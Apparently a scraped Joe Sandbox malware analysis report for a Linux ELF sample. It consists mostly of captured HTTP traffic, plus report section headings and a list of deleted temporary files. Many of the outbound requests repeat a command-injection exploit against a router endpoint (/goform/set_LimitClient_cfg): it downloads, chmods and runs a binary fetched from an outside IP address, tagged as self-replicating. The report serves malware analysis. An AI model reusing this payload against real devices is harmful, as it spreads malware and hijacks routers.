78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:15.240786076 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:15.855124950 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:15.960277081 CET	305	IN	HTTP/1.1 404 Not Found Server: micro_httpd Cache-Control: no-cache Date: Fri, 16 Feb 2024 08:45:15 GMT Content-Type: text/html X-Frame-Options: SAMEORIGIN Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:15.399642944 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:15.651118040 CET	404	IN	HTTP/1.1 400 Bad Request Date: Fri, 16 Feb 2024 08:45:15 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:15.945241928 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:16.851969004 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:17.144531965 CET	111	IN	HTTP/1.1 404 Not Found Connection: close Content-Type: text/plain Transfer-Encoding: chunked

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:16.373606920 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:16.614448071 CET	289	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 X-XSS-Protection: 1;mode=block Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' X-Content-Type-Options: nosniff CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:16.482868910 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:16.592142105 CET	929	IN	HTTP/1.1 400 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 762 Date: Fri, 16 Feb 2024 08:45:16 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 73 65 72 76 65 72 20 63 61 6e 6e 6f 74 20 6f 72 20 77 69 6c 6c 20 6e 6f 74 20 70 72 6f 63 65 73 73 20 74 68 65 20 72 65 71 75 65 73 74 20 64 75 65 20 74 6f 20 73 6f 6d 65 74 68 69 6e 67 20 74 68 61 74 20 69 73 20 70 65 72 63 65 69 76 65 64 20 74 6f 20 62 65 20 61 20 63 6c 69 65 6e 74 20 65 72 72 6f 72 20 28 65 2e 67 2e 2c 20 6d 61 6c 66 6f 72 6d 65 64 20 72 65 71 75 65 73 74 20 73 79 6e 74 61 78 2c 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 20 6d 65 73 73 61 67 65 20 66 72 61 6d 69 6e 67 2c 20 6f 72 20 64 65 63 65 70 74 69 76 65 20 72 65 71 75 65 73 74 20 72 6f 75 74 69 6e 67 29 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 38 2e 35 2e 34 39 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).</p><hr class="line" /><h3>Apache Tomcat/8.5.49</h3></body></html>

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report mBDisulSAb.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.00mqSr (deleted)

/tmp/qemu-open.06R7qq (deleted)

/tmp/qemu-open.06ydPn (deleted)

/tmp/qemu-open.07WHyn (deleted)

/tmp/qemu-open.0B0Foo (deleted)

/tmp/qemu-open.0Endkp (deleted)

/tmp/qemu-open.0MCtlq (deleted)

/tmp/qemu-open.0ROX2r (deleted)

/tmp/qemu-open.0U8Znn (deleted)

/tmp/qemu-open.0WSINr (deleted)

/tmp/qemu-open.0ZNtUo (deleted)

/tmp/qemu-open.0gdLQp (deleted)

/tmp/qemu-open.0n54qo (deleted)

/tmp/qemu-open.0oDqto (deleted)

/tmp/qemu-open.0pZVoq (deleted)

/tmp/qemu-open.0r3hLo (deleted)

/tmp/qemu-open.0u7HAq (deleted)

/tmp/qemu-open.0uIPsp (deleted)

/tmp/qemu-open.11jJDp (deleted)

/tmp/qemu-open.14D86o (deleted)

/tmp/qemu-open.1555oo (deleted)

/tmp/qemu-open.17QQtq (deleted)

/tmp/qemu-open.17lpUo (deleted)

/tmp/qemu-open.1Jo7Or (deleted)

/tmp/qemu-open.1NB8qo (deleted)

/tmp/qemu-open.1O9DPp (deleted)

/tmp/qemu-open.1Pmpto (deleted)

Linux Analysis Report
mBDisulSAb.elf

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:19.615102053 CET	224	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:19.955931902 CET	146	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 183 Connection: close Date: Fri, 16 Feb 2024 15:45:18 GMT Server: Server
Feb 16, 2024 09:45:20.586766958 CET	329	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 183 Connection: close Date: Fri, 16 Feb 2024 15:45:18 GMT Server: Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html><html lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>
Feb 16, 2024 09:45:21.586796045 CET	329	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 183 Connection: close Date: Fri, 16 Feb 2024 15:45:18 GMT Server: Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html><html lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>
Feb 16, 2024 09:45:23.088887930 CET	329	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 183 Connection: close Date: Fri, 16 Feb 2024 15:45:18 GMT Server: Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html><html lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:26.169604063 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:26.344760895 CET	213	IN	HTTP/1.1 411 Length Required Content-Type: text/html; charset=ISO-8859-1 Server: WEBrick/1.6.1 (Ruby/2.7.8/2023-03-30) Date: Fri, 16 Feb 2024 08:45:26 GMT Content-Length: 306 Connection: close

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:26.649274111 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:26.955646038 CET	162	IN	HTTP/1.1 200 OK Content-type: application/json;chartset=uft-8 Transfer-Encoding: chunked Date: Fri, 16 Feb 2024 08:45:26 GMT Server: localhost
Feb 16, 2024 09:45:26.955801964 CET	108	IN	HTTP/1.1 400 Bad Request Content-Length: 22 Content-Type: text/plain Data Raw: 4d 61 6c 66 6f 72 6d 65 64 20 52 65 71 75 65 73 74 2d 4c 69 6e 65 Data Ascii: Malformed Request-Line
Feb 16, 2024 09:45:26.956043005 CET	800	IN	HTTP/1.1 500 Internal Server Error Content-Length: 703 Content-Type: text/plain Data Raw: 54 72 61 63 65 62 61 63 6b 20 28 6d 6f 73 74 20 72 65 63 65 6e 74 20 63 61 6c 6c 20 6c 61 73 74 29 3a 0a 20 20 46 69 6c 65 20 22 2f 75 73 72 2f 6c 6f 63 61 6c 2f 6c 69 62 2f 70 79 74 68 6f 6e 32 2e 37 2f 73 69 74 65 2d 70 61 63 6b 61 67 65 73 2f 77 65 62 2e 70 79 2d 30 2e 33 39 2d 70 79 32 2e 37 2e 65 67 67 2f 77 65 62 2f 77 73 67 69 73 65 72 76 65 72 2f 5f 5f 69 6e 69 74 5f 5f 2e 70 79 22 2c 20 6c 69 6e 65 20 31 32 34 35 2c 20 69 6e 20 63 6f 6d 6d 75 6e 69 63 61 74 65 0a 20 20 20 20 72 65 71 2e 72 65 73 70 6f 6e 64 28 29 0a 20 20 46 69 6c 65 20 22 2f 75 73 72 2f 6c 6f 63 61 6c 2f 6c 69 62 2f 70 79 74 68 6f 6e 32 2e 37 2f 73 69 74 65 2d 70 61 63 6b 61 67 65 73 2f 77 65 62 2e 70 79 2d 30 2e 33 39 2d 70 79 32 2e 37 2e 65 67 67 2f 77 65 62 2f 77 73 67 69 73 65 72 76 65 72 2f 5f 5f 69 6e 69 74 5f 5f 2e 70 79 22 2c 20 6c 69 6e 65 20 37 37 35 2c 20 69 6e 20 72 65 73 70 6f 6e 64 0a 20 20 20 20 73 65 6c 66 2e 73 65 72 76 65 72 2e 67 61 74 65 77 61 79 28 73 65 6c 66 29 2e 72 65 73 70 6f 6e 64 28 29 0a 20 20 46 69 6c 65 20 22 2f 75 73 72 2f 6c 6f 63 61 6c 2f 6c 69 62 2f 70 79 74 68 6f 6e 32 2e 37 2f 73 69 74 65 2d 70 61 63 6b 61 67 65 73 2f 77 65 62 2e 70 79 2d 30 2e 33 39 2d 70 79 32 2e 37 2e 65 67 67 2f 77 65 62 2f 77 73 67 69 73 65 72 76 65 72 2f 5f 5f 69 6e 69 74 5f 5f 2e 70 79 22 2c 20 6c 69 6e 65 20 32 30 31 30 2c 20 69 6e 20 5f 5f 69 6e 69 74 5f 5f 0a 20 20 20 20 73 65 6c 66 2e 65 6e 76 20 3d 20 73 65 6c 66 2e 67 65 74 5f 65 6e 76 69 72 6f 6e 28 29 0a 20 20 46 69 6c 65 20 22 2f 75 73 72 2f 6c 6f 63 61 6c 2f 6c 69 62 2f 70 79 74 68 6f 6e 32 2e 37 2f 73 69 74 65 